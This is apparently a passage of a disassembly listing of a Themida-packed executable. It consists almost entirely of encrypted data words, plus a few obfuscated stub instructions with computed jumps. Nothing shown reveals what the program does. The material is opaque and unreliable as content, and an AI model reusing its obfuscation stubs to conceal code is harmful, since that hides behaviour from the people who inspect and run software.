0B1F559FCh, 0CBE4155Eh dd 2C80C48Ah, 0E3F1145h, 9AE4EC02h, 0FA62FCB7h, 0F0D7AF23h dd 3F0BD6F0h, 0DA5083CCh, 9798B1C8h, 0D188CFF7h, 0A5EE4185h dd 7F466874h, 48324EDCh, 0EBF50963h, 0D7ED6115h, 91B65AEh dd 3C42B3CCh, 32ACDD8Eh, 0FD5303EAh, 203566B9h, 2BE09CCBh dd 664D97A4h, 152A5DEDh, 0F91A0C3Eh, 9BC2A5C1h, 143B7A77h dd 0B2A80000h, 0FB5E73A6h, 4113285Bh, 95C3D80Bh, 0DC778CBFh dd 0A4073B6Eh, 5D90BA99h, 10430F48h, 0C2F55BFBh, 73A6A8ADh dd 91C1A40Eh, 8E23FF65h, 7AD9D9DAh, 0CD889DD0h, 0D9D34E81h dd 3A8ED27Ch, 4994C328h, 563F839Eh, 0B90C5000h, 68E66F88h dd 18342035h, 0DA74E1D4h, 4704FBA7h, 0FCDF2921h, 23F9E4F5h dd 0E965F0D7h, 9E1421B8h, 83C5E013h, 0D1B8001Bh, 0B4E4C983h dd 0B90C83C5h, 596F7BACh, 79240751h, 6E1467E3h, 11371D61h dd 5FECCF19h, 3D1B8769h, 0B4FFF56h, 0E3F087B8h, 0AAA2B299h dd 68E21366h, 7BDAD481h, 0E1578AD3h, 1555DFAh, 0BCD5064Fh dd 66C3B599h, 5AD23AE9h, 137B3936h, 0F2680000h, 3B1E3366h dd 81D3E81Bh, 0D58398CBh, 1C374C7Fh, 0E4C7FB2Eh, 1D50FA59h dd 0D0034F08h, 82B59BBBh, 3366E86Dh, 518164CEh, 4E23FF67h dd 7CD9999Ah, 0E82C2432h, 22084C95h, 0D7BA040Ch, 23F9BAD8h dd 957CC6D3h, 0FB4E92C4h, 35267CAh, 6BB3074Bh, 0BB104023h dd 0D23F9h, 0F9BAEB1Bh, 0B2E3F023h, 3E8880A6h, 0E38E645Bh dd 0D87D642Bh, 19492C76h, 161C238Eh, 3441D809h, 0FC5203EAh dd 0E2A1B4C9h, 0ED4A0D44h, 2165AEDDh, 7EC7BBCDh, 0E11131CDh dd 22C6CEFEh, 75BECB1Ch, 1A163844h, 99D6EDD0h, 0CCD9240Ch dd 94BA9B82h, 8FF0634Ah, 71F9FB93h, 2859A2B5h, 0A9A5B0C5h dd 0C1697F65h, 87CFB892h, 0E93285C9h, 2C0F579Fh, 23FA2AFCh dd 0AEC3F401h, 2BDE4257h, 6A554754h, 0B2C2A7F7h, 1297918Eh dd 0E4C0000h, 5702174Ah, 9DB7CCFFh, 0F1677CAFh, 381B3063h dd 0ABDF12h, 134163Dh, 0B4E76BECh, 6699B79Fh, 174A0451h dd 356548B2h, 3A23FF68h, 7AD98586h, 0E12A2630h, 8880A6AEh dd 0ADC85B3Eh, 1E823F9h, 63B6FA54h, 4A8E9B32h, 0B485FE57h dd 291C1A27h, 0ACC1F43Dh, 7B61A5A9h, 30135D55h, 2BDE3411h dd 0CABD010Eh, 6280C48Ch, 0B78CA486h, 59FFE8D5h, 12ADB7FBh dd 0B550503Dh, 46084D9Ah, 0EDE50B13h, 0A82DC0A3h, 0E5F223FAh dd 0A7A7AEA1h, 1738DF63h, 7CD48269h, 86988068h, 34657834h dd 0C00A0628h, 0A0D17BD9h, 4B04326h, 0A9902BDEh, 0D970A1ABh dd 3C2399CCh, 0EE07381Ch, 0B69DE767h, 1A6DB1A1h, 528675E9h dd 931C15E8h, 71E4014Eh, 0C095AADDh, 42644A8Eh, 0CE19FC46h dd 0C123F9FBh, 0D8A0D0B3h, 909D23F9h, 8C9E1447h, 23DFED7h dd 0F2A2D34Dh, 630F2116h, 0CD1760F6h, 0E445FBEAh, 9DB69D2Bh dd 0D8E57CADh, 0CA80D362h, 0C5639786h, 0DDF31C22h, 0B4A48BD5h dd 12F56FA0h, 240C9903h, 0E717FA08h, 0E423FA72h, 5D448ED7h dd 0E2356F8h, 0D0C30747h, 0E0D5C783h, 3CBAC39Eh, 11571B18h dd 0CE8C0000h, 1742578Ah, 5DF70C3Fh, 0B1A7BCEFh, 0F85B70A3h dd 0C0EB1F52h, 4174D67Dh, 0F4272B2Ch, 0A6D977DFh, 578AC491h dd 75A588F2h, 7A23FF68h, 7AD9C5C6h, 40279DD0h, 0F20B3C18h dd 0B4A7EB63h, 3469ADA1h, 0D28360EFh, 0E5B5497Ch, 825DBAA3h dd 1BCh, 77CD981h, 8669D629h, 1C167F56h, 0B6324653h, 0DA1E67E0h dd 96E06EE7h, 0A2E1AAAFh, 0DEA8D1h, 1F72B6FFh, 6D838BEEh dd 0F5381B65h, 0D723F9CBh, 0B9EA66F0h, 0E2D11522h, 23F9C8AEh dd 0A0CC8316h, 5A5EA5C8h, 3A6Fh, 0C0E66E00h, 0DC253128h dd 1B024A92h, 333183Eh, 81C158Fh, 0F58FE5Bh, 97CAC9DEh dd 8D6523F9h, 57AF3059h, 7BBF080Bh, 0FA2F588Ch, 222DC023h dd 5E021646h, 0E3155Ah, 78140000h, 8F1D4D30h, 7B751C15h dd 97F8D1CBh, 0F4253299h, 0F0D37ADBh, 1C1646C0h, 1D67B0BDh dd 0EA2E1E36h, 0AAF361F7h, 0CAB10579h, 88A7F88Bh, 1A2502Dh dd 0E56E87B8h, 9C518164h, 414E1C15h, 9D9CAEF8h, 0C9E0F358h dd 410D4831h, 579AAFDh, 6B404312h, 86CA8C6Eh, 0ECDBEF42h dd 1A64AD6Dh, 0EB24AB08h, 159BD808h, 0B4C8D51Ch, 5182BCD1h dd 0E36BEADDh, 0AA369FB0h, 9EB71C15h, 53757DB0h, 532A0D57h dd 5823FC89h, 391A014Bh, 8AC9DE11h, 82ACDCBFh, 0A4B123FCh dd 8E62695Bh, 7EA2BAC1h, 0FE081h, 1570300h, 0B6A0B9CEh dd 66E66E83h, 1A3A1E33h, 0C981D2E7h, 0F4796296h, 0A3B8EB5Fh dd 566B9EB4h, 81D5000h, 69CE014Dh, 6AEC1CFFh, 3DF123FFh dd 0D07AD93Ch, 0B6CD889Dh, 0EA13983Dh, 0AFE22BE0h, 327CD934h dd 92E52921h, 69B10549h, 997ED682h, 1C158E69h, 2C0F5966h dd 1C158EFCh, 0AAC3F401h, 5B70A3ABh, 0AEA2B4FAh, 153B2165h dd 89F0D31Dh, 2323F9A7h, 0F4381C3Ch, 0CCD970A1h, 0A112399h dd 53758023h, 325275A6h, 5C000008h, 296DDF75h, 0E96BEDD6h dd 0A22152A5h, 1D4D3078h, 221C158Fh, 88CBE415h, 5B8F7EC2h dd 0EB1C158Eh, 0F8402C5h, 7A5EF90Ah, 0E12A73DBh, 0D8ADB497h dd 556223FFh, 1D31240Bh, 380D5EAh, 0BEBCD256h, 0D2165F76h dd 0E4D674DFh, 0BABEA5DDh, 2060327h, 0E100000Fh, 97ACDF79h dd 4C6194C2h, 0FC114408h, 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh dd 7CD68196h dd 2E223449h, 0DF6FE6FBh, 0FADD47ACh, 23FF6BCAh, 0D91A1BCFh dd 889DD07Ah, 0EF3781CDh, 158EDC0Ch, 0A3D4E11Ch, 5FF4DB2Fh dd 0B4A1BAEBh, 0B33E509Ah, 74C299CEh, 396EE213h, 0C78E5BF4h dd 95DE6CE7h, 0AADAEC62h, 26ACA07Ah, 7424BCEDh, 0F35DBAA3h dd 0Dh, 999EDDF2h, 2C1F1C15h, 0FFFFFD81h, 8EA9DD31h, 17391C15h dd 6DEAD11Bh, 1D4EA1E5h, 61C1C0A3h, 515E23FFh, 19352007h dd 2A84D1E6h, 8EE1252Dh, 450E0145h, 0AFC41305h, 0BCE0BABEh dd 0E50BFh, 91C79300h, 4610495Eh, 0F656FE13h, 0AAAAAEC3h dd 59F16277h, 84C9F226h, 33487BCFh, 0E6FB2E24h, 98ADE070h dd 0F95E91BDh, 6B7CAC8Fh, 0CD8123FFh, 4D3078CCh, 1C158F1Dh dd 1311422h, 0FE1C158Fh, 94BFA8F1h, 0EE1F72B6h, 262E80D5h dd 0A699DD26h, 265B9FAFh, 457558A0h, 4A1C158Fh, 4E97B99Dh dd 7E6BE41Dh, 61ECACD7h, 8F4DCEE2h, 2F7F1346h, 725DBA49h dd 4387CD8Bh, 251FBFF0h, 1E000000h, 1D4D3078h, 221C158Fh dd 90CFE415h, 291C1599h, 0FFFCB836h, 0FE5940FFh, 19A0B389h dd 64AD636Ch, 1D9CCD20h, 7EC8C0E6h, 0F9AE7C9Bh, 0E525F23h dd 0F9AEEC1Fh, 0C5E76D23h, 3074BD8Fh, 0BF981A3Dh, 0B3FC4F93h dd 1268516Fh, 5707865Eh, 6380CF44h, 11155EF4h, 0C595D17Eh dd 625A5E31h, 222h, 8ED9DD61h, 0AEDC1C15h, 0A487C68Fh dd 1C158E74h, 0F0236C79h, 90D47ADBh, 158ED5A1h, 53FF581Ch dd 183C1C0Fh, 0F55A9FD4h, 0D5BC9898h, 0BAEACD80h, 0BF1C158Eh dd 0FF3869B2h, 8CC29350h, 9ED1E359h, 9F2174A8h, 1E354172h dd 246DE174h, 0E668EDE0h, 97B79EB3h, 0C5A06453h, 0D3831C15h dd 0C469997Ch, 59661C15h, 7FD9CC10h, 0FA7991D5h, 93BF9855h dd 0AFB3FC4Fh, 0EE62F4DBh, 61836BDAh, 3263FFB2h, 520A56F9h dd 0D95DBA49h, 196h, 77EFCBDDh, 6A9CCCAFh, 94A11C16h, 6E8C2D80h dd 7D27975Ah, 8392718h, 77CD989h, 0AE13D7BDh, 5CA6EFB2h dd 0CBB4C54Ah, 0E91A9679h, 7BD38275h, 3DA71F31h, 9B19FA2Dh dd 0E9FF076Ah, 0F5391341h, 2C0F59A2h, 23FA51E9h, 6E5DA1AEh dd 23FA4B3Ah, 75B99BBDh, 377BD382h, 0DDAAA51Ah, 5D0946D9h dd 5A5E230Dh, 612Ah, 12472E00h, 7CAD0044h, 0C8C0E6FDh dd 90BE977Eh, 302E55Fh, 0C523F998h, 976A9A7Dh, 626F23F9h dd 0BDC29A31h, 32079399h, 0B3C50F58h, 4C3D4B57h, 68DC0D46h dd 292B2D14h, 654892E5h, 23FA7035h, 0E7FC2D3Ah, 23FA6FB3h dd 0EE322236h, 0B1F55BFBh, 0BCC9862Dh, 3E2A25B8h, 5A5E426Eh dd 0BF0Dh, 7CD90C00h, 0E72B2332h, 14074B94h, 0D4C70B3Fh dd 9689CD81h, 0E65C8FBFh, 7EED88D4h, 0DE0FADCEh, 1628E8C9h dd 59FDE41Ch, 2F60B3F7h, 0C50F3F16h, 286A9A7Dh, 626F1C16h dd 0A0C6CE31h, 2894C4A7h, 8C991C16h, 579BB1A3h, 2971BB04h dd 16291646h, 0F206131Ch, 227E0808h, 0C84273F3h, 0FD4E0EE5h dd 0A546123h, 0E71A3023h, 0D7C981D2h, 0BAC24416h, 0A601FE22h dd 3D00000Bh, 0F3083B1Dh, 0A8BDF066h, 586DA0ACh, 0C215400h dd 9CD00347h, 25252E3Fh, 0D87ADDF2h, 8AC690A5h, 3B134257h dd 5639A308h, 23FF6F26h, 0D96E6F23h, 889DD07Ah, 6D9D80CDh dd 8F1C158Eh, 158E7CACh, 0D74811Ch, 984B700h, 8ED27CD9h dd 6194BA9Bh, 42C42h, 0A7424700h, 0CA141C32h, 0FF61F9E7h dd 0F3697623h, 9535F71h, 0E362F326h, 0EACD152Bh, 1C2360BAh dd 0EA81B2BFh, 76AA99DDh, 0DE1C2360h, 3E86044Bh, 23612B5Bh dd 0F223301Ch, 0B74D025Ah, 3A2295Dh, 1B2D0000h, 20C0884Ah dd 41C0F19Ch, 158EA9DDh, 8F0B301Ch, 798F1C15h, 65442771h dd 4A23F998h, 5397B99Dh, 1EC5B700h, 26BAC47Ah, 0ADF0502h dd 56040000h, 9FBACF02h, 0E56F84B7h, 391F3467h, 80D3E81Bh dd 786397CAh, 0B9EC5EF5h, 6C9FB3A4h, 1E51FF57h, 0CF024C09h dd 0ED1D006Ah, 0F223FF6Fh, 7CD93D3Eh, 2E4088D2h, 1FE9CDE3h dd 0ABDBC04Eh, 2E1C1673h, 0B5C22929h, 42A1084h, 19271841h dd 7ACD113Bh, 4CD38B66h, 175BF163h, 4E317BC4h, 24005A63h dd 0AA91DBE8h, 0FD4D06AEh, 0D91D66B9h, 7CF25586h, 0F8DE126Ah dd 0E0C3AD93h, 23FF12B0h, 0D57A0ADh, 0FF12FA2Ah, 0C1F2FF23h dd 4D9793B5h, 0E8E6836Ah, 0FADD252Bh, 1C15E5CAh, 0B7575122h dd 6ED56F04h, 8C993061h, 56FC5B42h, 8265AD23h, 1C165352h dd 4194A57h, 1C1653F8h, 0E6191538h, 88CC86D1h, 4A8EC095h dd 0FC464264h, 53A1D1B4h, 919E1C16h, 4803E660h, 5B23FA72h dd 0A71D5C4Eh, 6387BAC3h, 9F866h, 0E96FEB00h, 9EB8A1B6h dd 4EFE566Bh, 252061Bh, 0B199BACFh, 0DC614A7Eh, 8BA0D377h dd 3E5386CCh, 0F0053818h, 51B6E965h, 70D404E7h, 25D923FFh dd 0FDC0E624h, 4049ABC3h, 7EC8113Fh, 0FFF1B49Bh, 60AAB723h dd 4174DE79h, 0E3272B2Ch, 0A1ADA88Fh, 66EE6A5Dh, 5586CF22h dd 0E12B2749h, 0E8A513FEh, 478B982Bh, 5F424F61h, 1C161F2Fh dd 8CD61F2Ch, 0FA372EA9h, 2F40123h, 0BAC3FA8Dh, 76B6B3D7h dd 6D000009h, 23386BEDh, 0D8ED2036h, 889DD07Ch, 3C5184D0h dd 0CC003317h, 55F55EEFh, 84A0D22h, 0BA96C0D5h, 6BE37287h dd 8669D338h, 23FF7156h, 0D99E9F53h, 9B8ED27Ch, 1B5094BAh dd 240B79D6h, 640D2135h, 0A051EABEh, 9DB8D102h, 45A34FE6h dd 0BF085F57h, 0E9A0F88Ch, 0ADC75DBAh, 0C6000001h, 7EC8C0E6h dd 0F990C89Bh, 5801E823h, 3667BAFEh, 5F4E929Fh, 23F9912Bh dd 0C5A8A9AEh, 23F99095h, 448D9Ah, 0EE6A4C0Dh, 86CF2266h dd 9FB02542h, 44BDEE2h, 5E9D3068h, 16E375Ah, 0D9360000h dd 9B8ED27Ch, 634A94BAh, 0C4175BF1h, 0A8BA3093h, 4A7D0017h dd 0A3778B30h, 0E11429E7h, 0E6081445h, 9AB9A0EAh, 0E8196CB0h dd 0FBDE266Eh, 1C15D9CBh, 7D92C3D0h, 23F9EE3Ah, 0ABA7B05Dh dd 0EDD01862h, 23F9E6BDh, 0E66A6015h, 0D9405D9Fh, 38279BCCh dd 23FA8304h, 0EA76D96Ch, 5A5E6BB2h, 3EB9h, 9178B800h dd 4D598AC4h, 2E52F3Bh, 23F99803h, 0CE09B3C5h, 0A5CE74FFh dd 5A05DD74h, 59F6B015h, 2B1A5EA7h, 23FA00F7h, 0AA798B5Fh dd 204B2099h, 2D225B8Ch, 5E246941h, 0B60E5Ah, 0D90D0000h dd 9B8ED27Ch, 364892B8h, 7630A55Ah, 1343264Ch, 181C15F4h dd 1D91C20Bh, 0DF232B2Ah, 1E469ECh, 1C15F3D1h, 81D8C1CEh dd 0F53E91D5h, 508063ABh, 6A1C15F4h, 15F45787h, 0E047541Ch dd 2E3FA2D3h, 1C161035h, 2771DD78h, 8391540h, 7F8B9DA5h dd 4D06ED35h, 1C66B9FDh, 16080939h, 0C8F9061Ch, 0FCEEDCB3h dd 78C2CF23h, 5588C291h, 45371340h, 0BAC1E440h, 0BE1B183Ch dd 25000007h, 0DBF02335h, 90A5D87Eh, 405588C4h, 0F4093C18h dd 84B8EB5Fh, 0D3D1627h, 0C092C5DAh, 72DE788Dh, 232B2A3Fh dd 3E218BF0h, 23FF730Eh, 0D956570Bh, 889DD07Ah, 0D34E81CDh dd 8ED27CD9h, 6194BA9Bh, 5442h, 21044C00h, 1C158EF1h, 31B0E1EEh dd 9ADC6678h, 5E17BDB2h, 9E8F7D2Dh, 4F368088h, 0A4B0A806h dd 80C40D60h, 9F82FC2Dh, 240019B2h, 42AA0ADh, 787096C7h dd 0CD5F4B2Eh, 0D7E42BE8h, 69C861h, 8AD20000h, 164677A7h dd 8366741Ch, 1C164753h, 0D1024B58h, 0C7C0E652h, 158EB4E4h dd 0C3ACB91Ch, 287BBF95h, 67B295DFh, 3923F9A2h, 4A0252h dd 0F9A1ED1Dh, 0B4E5F223h, 78CC101Dh, 367A1E30h, 0C844BD0h dd 0F9BCF727h, 0B6E7F423h, 0F9AC6CA1h, 2D229723h dd 65AFBBCDh, 15643782h, 2C5F6C1Ch, 0C785CFB6h, 0B57396h dd 0E6780000h, 977EC8C0h, 0FD5094C2h, 0DB0C4014h, 628F7E61h dd 0FF0C23FFh, 11C704E8h, 9CCCAFF7h, 0A123FF61h, 252A6394h dd 53701149h, 6D165Ah, 78150000h, 5A8BC591h, 0E630384Eh dd 0FF621503h, 768D9A23h, 0C69F5592h, 708DDD89h, 4CAA5A53h dd 0A9000000h, 8CC69178h, 0B8C4F548h, 86B69996h, 831C158Eh dd 0E32D76h, 23FF6213h, 0C0977E8Ch, 16FB4E92h, 23FF61E6h dd 768DD6E3h, 0C69F5592h, 4C8DDD89h, 2CAA5A53h, 0AE000000h dd 312391C7h, 3B84D71Bh, 0CD90A4F7h, 0FDEB43ADh, 78FC7BACh dd 42783166h, 95273B13h, 8095C691h, 1C166321h, 0FEF7A99Ch dd 0E6AEFFFFh, 9B7EC8C0h, 23FF6180h, 250C5663h, 85D81C2Eh dd 6899BD9Ch, 0F0F80EF4h, 34D7C3A6h, 0BFCC2BE9h, 7773957Bh dd 0BA9DE52Dh, 1C158E8Ah, 3C51828Fh, 23FF6225h, 0F9CDDF27h dd 5472CFDEh, 8D0E3E23h, 0FE0B23FFh, 0DF2936CDh, 0ABF561F8h dd 8D508063h, 404D23FFh, 82A4AC0Fh, 11F43C86h, 23FF8CE1h dd 0BDEDD0DEh, 0C223FF8Ch, 0C13B6CB5h, 0E6C6779h, 0F95B5862h dd 0D3CCB3C8h, 0B2BF2BE8h, 0F5D82068h, 1C162FC5h, 0D83F0B48h dd 0D5819ACBh, 3837487Bh, 71B43CDBh, 0C1376AE4h, 8CC49279h dd 3B9877A7h, 366774B4h, 3215381Dh, 0B43B9902h, 6DB1FA07h dd 1F696187h, 5A17D90Dh, 0BF1256FEh, 81E251ABh, 3C596E9Eh dd 155E6BB4h, 3B226AE4h, 9CEF3319h, 7C37566Bh, 2734BC20h dd 113ED9E3h, 83CD81D4h, 7828583Bh, 1825BBD8h, 0E76F84E7h dd 1322BD9Eh, 4F98A047h, 3EA5B70Bh, 29589461h, 134842AEh dd 723621FFh, 25312841h, 54AC9E1h, 98E26EE8h, 68ACA6B1h dd 6C81E415h, 0BD8DC6EAh, 99DD2679h, 0E576D40Fh, 0F1D41C6Ah dd 0BBD7AAC1h, 6780B1BEh, 0B32E61EFh, 85C9C1E6h, 478BC392h dd 55331CC3h, 3667E76Eh, 0E86D052Ah, 86CF2266h, 6C173E53h dd 8042A5CCh, 0F10851CEh, 3029CF0Dh, 0BB93C21Fh, 0E435545h dd 0D8280421h, 3A1F3869h, 9D84D81Ch, 3569ABCh, 808DBDD2h dd 5EF91C16h, 0F165F4F1h, 0BA96C0A7h, 0C9B02689h, 7B94C58Fh dd 423175DBh, 1C16810Fh, 977D883h, 0D67D3522h, 94DD3074h dd 3F14FD50h, 4374C70Bh, 0D0842C2Ah, 0EF00337Ch, 1C16A104h dd 6091C1A4h, 818E1C16h, 4D99D038h, 6DA05DBAh, 0A4FFFFFFh dd 74B89ABDh, 7871F021h, 0D0D8FA66h, 0F4256B74h, 0A1D47ADBh dd 6E85C98Ch, 31A3421h, 8E56A39h, 0A5B7014Dh, 0AD2933A3h dd 17BDEEA9h, 0BAA35109h, 44D65Dh, 0E6D50000h, 367EC8C0h dd 0CD342C24h, 0D7B3C789h, 0DA84BDE3h, 0C553948Ah, 4A364B7Ch dd 3F24005Bh, 0B91E4E31h, 0E1B23FEh, 8CCAAEC5h, 0AD4D02D1h dd 0FD458F9Bh, 0DE0F3F16h, 0E88BDDC9h, 4FC5D22Bh, 5AB6h dd 0C0E6BB00h, 0F9562D28h, 71EDCF63h, 0CE2165AEh, 6C583B85h dd 0E124003Ah, 6AD9BDD4h, 195DF960h, 4DFEC7FBh, 6F58D287h dd 0C690C9E7h, 0A2E62F82h, 47440B8Ah, 34C48B68h, 2321512h dd 723FF04h, 8467B1FAh, 2BE8D798h, 57F3600Dh, 0C1A8980Eh dd 7AA4F398h, 4F460E2Ah, 7856D506h, 8F1D4D30h, 15221C15h dd 0C48ACBE4h, 1E42C80h, 1C158ED1h, 0FE228821h, 4FB60465h dd 0EC716677h, 29729621h, 0D876DFF8h, 0B482FA5h, 0CBDDFB3Fh dd 13A9C143h, 0E4F0216Ah, 997CC6C2h, 23F9E656h, 54226476h dd 0BC9CA28h, 0F23643DAh, 0F9EECF03h, 0ABA43723h, 5EFFEFBFh dd 608C5Ah, 0E68B0000h, 9B7EC8C0h, 23F9979Ch, 25518A9Ch dd 8C4A86B7h, 4EE2FE6Ch, 95C60FD0h, 0C0A7F1FEh, 2546EC93h dd 0A55FCCh, 0D38073B7h, 97E03377h, 0CF03F266h, 5223F991h dd 0A4A8AC04h, 80C40D60h, 4084C68Dh, 0AD3A15BCh, 1265A9ABh dd 1D32C5C9h, 85D1886Fh, 25BDEE41h, 5A5EA075h, 0FEF2h dd 7CD9F100h, 0B89B8ED2h, 0A2EB63F2h, 0DFC20A5Eh, 1C158EAFh dd 556E9FACh, 170A4E00h, 0CCDD103Eh, 1C159363h, 1F90F362h dd 9CB8A024h, 110CC088h, 0D58095C8h, 0CFE13579h, 9981828Bh dd 7D89BA43h, 32155F6Bh, 23FA0AEBh, 374993A0h, 1BBFF5C9h dd 288BBCFCh, 0EAF8A0B2h, 4399924Eh, 0E8E00612h, 28DEBB9Eh dd 0B4C12BE1h, 0F2CC586Ah, 33635DC2h, 0B0D870F2h, 0E7186163h dd 7CCD866Dh, 18566999h, 7059661Ch, 0F1246DE9h, 0E1D377DCh dd 0C2A5BABAh, 2AA9A6CAh, 0B9000002h, 6F84B7A1h, 24396CEAh dd 0D4E91C30h, 889DD084h, 184C7FCBh, 0A1A9AAB3h, 54FE596Eh dd 64A0C21h, 0B797BED3h, 0D2B51F84h, 23FF77A2h, 78F2F3A7h dd 478BC591h, 32B1E0F4h, 0C4AF9397h, 71D97A93h, 9D194027h dd 0FD5094B6h, 0AA2083B4h, 0C6FB5062h, 65355D1h, 168BF121h dd 0B0E1EE1Ch, 69F0BE97h, 14A0C4Dh, 780A85B8h, 4589C391h dd 93B5C1F2h, 6B6A4D97h, 4D23F998h, 2E5FEF66h, 57468A97h dd 23F99823h, 5B9FAFA6h, 7E61EE68h, 23F9984Eh, 0B1F53E4Bh dd 58351A99h, 51388054h, 0B1044802h, 0F9979CCCh, 6394A123h dd 1149252Ah, 165A5EAAh, 0EAh, 0D27CD915h, 5B107688h, 21DBF076h dd 311D38h, 0DF0388Ch, 1C15FADDh, 8BA4D5E2h, 4F3E82C8h dd 1C15FFE6h, 0ADE06EE7h, 4D91BD98h, 0FF494167h, 0FA05D51Ch dd 83CDDA23h, 4F93B79Ch, 0F268CBFCh, 28C122E0h, 0C4F561A4h dd 7ACF96B8h, 0CCF95033h, 2007519Ah, 86D91D39h, 0BCF8DB55h dd 0F12BE15Bh, 0A5B39AE4h, 0DB786BAFh, 8FD82B6Fh, 8F326245h dd 2A371C17h, 0BB987FF9h, 0C475C8Fh, 5397B79Eh, 1059F560h dd 82BCD5C7h, 0C4E8C2A6h, 0E4C7h, 0FD5BFF00h, 0B2A4B5CAh dd 62EA6A7Fh, 163E1A2Fh, 0C585CEE3h, 0F07D5E92h, 9FB4E763h dd 52679AB8h, 4194C04h, 65CAFD51h, 79E818FBh, 31E523FFh dd 0D07AD930h, 0D2ED7486h, 0A0FDFF63h, 7FB09EB7h, 7B5EA61Ch dd 1C15EA4Bh, 0F9124350h, 60A8F25Ch, 15EA4D7Dh, 1445521Ch dd 917836B1h, 77A78AC5h, 741C158Eh, 0D4ED1E67h, 9689CD81h dd 0FD458FBFh, 8EA2D2B5h, 9AA71C15h, 158E85B5h, 4C7D8A1Ch dd 0CD81D4E9h, 28583B83h, 251C158Fh, 6F84E718h, 0D61E68E6h dd 158EC3F3h, 0D202E51Ch, 0D71C158Eh, 255663CAh, 3C95C2B1h dd 3C186D12h, 7CD9CC10h, 0E9848ED2h, 0F89F1966h, 83CB8A57h dd 341A3B50h, 0F95BFDF0h, 3F10ABB5h, 519BB3A2h, 1B332209h dd 123D0636h, 0C5F6036Dh, 46084D62h, 30502h, 690A0000h dd 0D781D93Ah, 99B5A093h, 5CF46255h, 20322518h, 0E06AE9DCh dd 0A0AAA99Ch, 65EF695Ch, 26262E21h, 0EC6AEFE2h, 66686AA8h dd 54000044h, 8124048Fh, 42404h, 89560000h, 4C681E6h, 83000000h dd 348704EEh, 4895C24h, 3B4C6824h, 34890000h, 0BE565524h dd 567205A7h, 8102E6C1h, 21BE88C6h, 5EF589AEh, 545DE889h dd 8324348Bh, 0EC8304C4h, 24048904h, 8B08468Fh ; --------------------------------------------------------------------------- xor al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_598345 ; --------------------------------------------------------------------------- db 19h, 82h, 0Fh dd 125F741Eh, 8032E3F0h ; --------------------------------------------------------------------------- xchg eax, edi loc_5E1139: ; CODE XREF: Themida_:005DF914j mov eax, 7E9EC2Fh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 26A2h dd 7CA36220h, 0D4F4180h, 67A143BCh, 512D57E1h, 4AEA3144h dd 74C313F5h, 0C1634FABh, 23A15EB3h, 5791A02h, 0BE82535h dd 0CF000000h, 0E68ABBF8h, 0DAB4037Bh, 0DC80AE3Ah, 810F5FB5h dd 0 dd 66F0C781h, 0D0810000h, 3B40CEC5h, 68h, 0C7CC8000h, 5E85Bh dd 8E210000h, 0E93F99E2h, 0Fh, 0E913FCA6h, 0F03C6F4Dh dd 0D425C6Dh, 5AEB2641h, 0F1F0C8Bh, 587h, 0CFCEBE00h, 0F181263Eh dd 2327ADF3h, 8186BEBAh, 4DC18158h, 666C4A7Fh, 81706DB8h dd 26E1E1F1h, 5FE88116h, 512158B6h, 7334CE81h, 48F2891h dd 58A0F1Fh, 0BE000000h, 588FC29Fh, 0EB8377B4h, 81C38B04h dd 0FF99B4FBh, 0A9850FFFh, 0FFFFFFFh, 28Bh, 0E9D78B00h dd 12h, 550A24F7h, 7C809E01h, 2 dup(0) dd 0C9E90000h, 6800000Dh, 7E9EF2Dh, 0FA904AE9h, 0F07668FFh dd 40E907E9h, 68FFFA90h, 7E9F1F3h, 0FA9036E9h, 0F30268FFh dd 2CE907E9h, 68FFFA90h, 7E9F497h, 0FA9022E9h, 0F6D168FFh dd 18E907E9h, 68FFFA90h, 7E9F8C3h, 0FA900EE9h, 0F9C168FFh dd 4E907E9h, 4EFFFA90h, 0AAC05476h, 71DB1D1h, 677D112Bh dd 0CAE07488h, 663FD3EFh, 0D0ECC780h, 2E4C263Ch, 90A6849Ah dd 0F109E6FCh, 7DFAAA5Dh, 13AB4D86h, 56800F54h, 5B296179h dd 0B3D2667Eh, 582D2DCh, 13A6B38Bh, 7B2860C9h, 13A6B480h dd 4B0E3647h, 0B4976CE9h, 0DA4313A6h, 4759714Eh, 7809936Ch dd 8D6705D8h, 109C376Fh, 48E31B33h, 569736h, 92C00000h dd 0A0CCB330h, 218A1442h, 4A3EC0Fh, 42A7829h, 0AFFF58C0h dd 0B5D0AF4Dh, 7F5EACFBh, 0AAE23B62h, 4E04FD0Fh, 0C13A60Ch dd 3DBE6BA3h, 8A13A60Eh, 6E91CD79h, 28D87763h, 2B249C6h dd 0C02013A6h, 0A602BC43h, 58B11A13h, 0A1D9EDCCh, 0B655F406h dd 7E000000h, 29617956h, 2C64805Bh, 1072815Eh, 42A0EC93h dd 96016A14h, 1442A0E1h, 0A363FD6Dh, 2C9D8056h, 74427AD3h dd 0F6EB7F97h, 1442F6D4h, 0D66A825Fh, 93CBE3C0h, 8BDBD3BCh dd 0A6E3140Eh, 5DF15A13h, 0D5D513Eh, 40221F90h, 0DCB75314h dd 8BC620B9h, 4099B983h, 0C4146D08h, 0CFE7C462h, 0ACC8A3BDh dd 0B270218h, 352519B7h, 3AC00062h, 0B8Bh, 0F589AB83h dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh, 21FC559Bh dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h, 0AB4FCDB2h dd 0B5448913h, 0F5F7B56h, 67799771h, 3A522F45h, 56704CEAh dd 4F71831Eh, 0E720927Eh, 42C1202Dh, 0C3CCEF01h, 0AD8077F4h dd 0E54E1442h, 0FB0AF885h, 0F952765Ch, 68E547A9h, 14429093h dd 0AF76D63Fh, 0C8FE9423h, 551B1426h, 2313A6EBh, 5A92AA87h dd 812E66BFh, 13A6EBFEh, 0EB233D19h, 0F22A3E1Dh, 1D55118Eh dd 0C9F0B4C5h, 0EB15EA67h, 58C113A6h, 0C6946B46h, 0A002D877h dd 0A6E75C23h, 7F91FA13h, 0E3E0h, 79560900h, 25972961h dd 0DF5CFD09h, 1442D718h, 49ED4DB6h, 0FB13F0BEh, 0BDCF28C3h dd 74ACC8A3h, 4282E5C7h, 3B533014h, 0EE6BCDA7h, 14428A09h dd 304A5CC5h, 2C033B53h, 99FB4B63h, 0CE061EFBh, 8A33C833h dd 369F1442h, 4FC94624h, 1513A69Eh, 0E553CEA5h, 1DB8F008h dd 1C5C99BDh, 0A6CED89Fh, 0B40D7613h, 0E7A8C75Bh, 0DEFA77C7h dd 